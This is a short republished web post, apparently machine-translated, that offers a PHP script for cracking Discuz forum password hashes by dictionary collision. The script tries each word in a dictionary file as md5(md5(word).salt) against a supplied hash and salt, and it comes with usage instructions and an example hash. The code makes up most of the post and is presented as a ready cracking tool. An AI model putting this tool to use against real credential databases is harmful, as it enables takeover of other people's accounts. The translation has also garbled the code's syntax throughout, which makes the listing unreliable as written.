Discuz background password encryption hash cracking

Source: Internet
Author: User

Discuz password is widely recognized as a pain point
 
This program uses collision cracking
 
Load Dictionary (extracted from various databases)
 
 
 
<? Php
Error_reporting (0 );
If ($ argc <2 ){
Print_r ('
---------------------------------------------------------------- +
Usage: php '. $ argv [0].' hash
Example:
Php '. $ argv [0].' cd1a0b2de38cc1d7d796b1d2ba6a954f: dc2bce
---------------------------------------------------------------- +
');
Die;
}
$ Fd = fopen ("1.txt"," rb ");
 
If (! $ Fd)
{
Echo "[!] Error: www.2cto.com opening dictionary file error ";
Die;
}
 
Echo "\ n [+] cracking ...";
Echo "\ r ";
 
While ($ buf = trim (fgets ($ fd )))
{
// Echo $ buf. "\ r \ n ";
$ Hash = $ argv [1];
$ Hash2 = substr ($ hash, 0, 32 );
$ Salt = substr ($ hash, 33,6 );
$ Tmp = md5 (md5 ($ buf). $ salt );
 
$ Conn = strcmp ($ tmp, $ hash2 );
If ($ conn = 0)
{
 
Echo "[+] Password cracked \ n". "[+] Password:". $ buf. "\ r \ n ";
Die;
}
 
}
 
If ($ conn! = 0)
{
Echo "your dictionary is not powerful! Expand the dictionary quickly:) \ r \ n ";
}
Fclose ($ fd );
?>

From WebShell's Blog

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.